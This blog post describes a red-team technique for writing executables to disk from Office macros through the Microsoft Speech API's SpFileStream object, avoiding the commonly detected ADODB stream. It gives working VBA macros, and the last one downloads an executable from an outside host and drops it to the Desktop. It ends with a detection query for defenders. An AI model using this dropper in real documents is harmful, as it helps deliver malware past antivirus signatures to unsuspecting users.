Binary File Write via Microsoft Speech API

This page describes how to use the Microsoft Speech API to write binary files from office documents.

TL;DR

Final proof of concept to make your Word document write binary without the infamous and widely-signatured adodb stream:

https://github.com/0xbad53c/VBA-Alternative-Binary-File-Write/blob/main/macro.vba

Introduction

While researching ways to write binary files via office macros, I stumbled accross a hidden gem: The Microsoft Speech API. Apparently, this API exposes COM objects, which enables you to call it from VBA and write WAV audio files. This article covers how to work around that limitation and avoid the WAV header, enabling you to write fully-intact binary files (e.g. DLLs or EXEs) to disk without the need for the popular ADODB object.

Discovery

The first step was to identify interesting COM objects. Several interesting targets stood out, but this article will focus on SAPI.SpFileStream.1. The identified object class appeared to have a method to write to a file.

To learn how to dump COM objects, refer to ired.team.

// COM Object
SAPI.SpFileStream.1


   TypeName: System.__ComObject#{af67f125-ab39-4e93-b4a2-cc2e66e182a7}

Name   MemberType Definition                                          
----   ---------- ----------                                          
Close  Method     void Close ()                                       
Open   Method     void Open (string, SpeechStreamFileMode, bool)      
Read   Method     int Read (Variant, int)                             
Seek   Method     Variant Seek (Variant, SpeechStreamSeekPositionType)
Write  Method     int Write (Variant)                                 
Format Property   ISpeechAudioFormat Format () {get} {set by ref}    

Writing Content

According to the Microsoft documentation, the Open method of a spFileStream object takes three arguments and can be used to write sound files:

  1. The FileName of to the file to write;

  2. The SpeechStreamFileMode, which can be a value of 0 to 3 (SSFMOpenForRead, SSFMOpenReadWrite, SSFMCreate or SSFMCreateForWrite);

  3. A DoEvents boolean to decide if the written file should be played;

Next, the Write method can be used to write a string to the targeted file. Let's confirm this with a simple vba macro:

// VBA to write "His palms are sweaty" to the test.exe file
Sub run()
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 3, False)
    Call objFSTRM.Write("His palms are sweaty")
    Call objFSTRM.Close
End Sub

Magically, a test.exe file of 88 bytes appears.

Strange, we only wrote ~20 bytes of ASCII. Let's open the file in notepad.

It appears that Microsoft autmatically adds a WAVE header to the file. This is not useful to us, as we would like to drop binaries to disk.

Seek No Further

Pun intended. The SpFileStream class also includes an interesting Seek method. This is a way to move the file pointer forwards or backwards in the "audio" stream. The function takes 2 arguments:

  1. The position, which is the number of bytes to move forward in the stream;

  2. an SpeechStreamSeekPositionType parameter, which indicates the position to start from. This is an integer from 0 to 2 (SSSPRelativeToStart, SSSPRelativeToCurrentPosition or SSSPRelativeToEnd)

What if we would tell the program to move the pointer all the way to the start before we write the file? Would it overwrite the WAVE header? We can try this with the following VBA code:

// VBA to write "His palms are sweaty" to the test.exe file
Sub run()
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 3, False)
    Call objFSTRM.Seek(0, 0) 'Start writing from start, over WAVE header
    Call objFSTRM.Write("His palms are sweaty")
    Call objFSTRM.Close
End Sub

Sadly, we still end up with 88 bytes of data. Somehow seek did not go to the start of the header, but rather the start of the data.

After this failure, I wrongly concluded that it could not be done and gave it a rest for a couple of months.

Create and Overwrite

I revisited the subject after a while and started playing around with the various options of the Open method. So far we were using only SSFMCreateForWrite (3) as SpeechStreamFileMode, while there is also SSFMOpenReadWrite (1). The latter does not work when the test.exe file does not exist yet, but there is nothing stopping us from creating it first, right?

The following VBA code snippet first creates the test.exe file, writes an empty string to it and then attempts to overwrite the data:

// VBA to write "Mom's spaghetti" to the test.exe file
// and overwrite the WAVE header with "His palms are sweaty"
Sub run()
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 3, False)
    Call objFSTRM.Write("Mom's spaghetti")
    Call objFSTRM.Close
    
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 1, False)
    Call objFSTRM.Seek(0, 0)
    Call objFSTRM.Write("His palms are sweaty")
    Call objFSTRM.Close
End Sub

Interesting enough, we succeeded in overwriting the header!

At this point, we can write arbitrary content to a WAV file, which should be a binary audio file.

Final Proof of Concept

Finally, we can put the theory to practice and download an arbitrary executable and write it to disk using SpFileStream. Let's compile a simple Hello World message box program for this test.

// Simple Hello World message box
#include <windows.h>

int main()
{
    MessageBoxA(0, "Hello World.", "Hello World MsgBox", 0);
}

The executable is 10.5Kb after compilation and the message box pops upon execution.

Next, we can craft a macro that downloads the executable via a Microsoft.XMLHTTP object and writes it similar to the last proof of concept.

// VBA macro to download and write HelloWorldMsgBox.exe as binary
Sub run()
    remotefile = "http://10.90.201.85/HelloWorldMsgBox.exe"
    Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
    HTTPReq.Open "GET", remotefile, False
    HTTPReq.send

    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 3, False)
    Call objFSTRM.Write("Mom's spaghetti")
    Call objFSTRM.Close
    
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 1, False)
    Call objFSTRM.Seek(0, 0)
    Call objFSTRM.Write(HTTPReq.responseBody)
    Call objFSTRM.Close
End Sub

After running the macro, the file was downloaded from our Python http.server.

The 10.5Kb executable was successfully written as test.exe and could be executed to prove it still worked!

Detection

In most environments, Office programs do not need to write executable file formats on disk. Therefore, build a baseline in your environment to alert or block writing of DLLs, EXEs or other dangerous file formats. Here is an example elastic query to detect DLL or exe writes from Microsoft Office applications, based on Sysmon event 11 (file creation):

event.code: 11 and process.name : ("WINWORD.EXE" or "EXCEL.EXE" or "POWERPNT.EXE" or "OUTLOOK.EXE" or "MSPUB.EXE" or "MSACCESS.EXE" or "eqnedt32.exe" or "fltldr.exe") and (file.name: *.exe or file.name: *.dll)

This query can be expanded to include all multiple executable file formats, such as .js, .vbs, .hta etc. This highly depends the baseline to determine what is considered anomalous in your environment.

Additionally, you could monitor for WINWORD.EXE loading sapi.dll, but this is prone to false positives as there is a text to speach feature to read the document aloud.

If you know of other detection mechanisms, feel free to let me know via Twitter DM!

Conclusion

In this article, we experimented with a new way to write binary files from Office macros and other Windows scripting languages. Threat actors can abuse the Microsoft Speech API's SpFileStream object to write binaries to disk, which can be a stepping stone to other attacks, such as DLL sideloading.

Last updated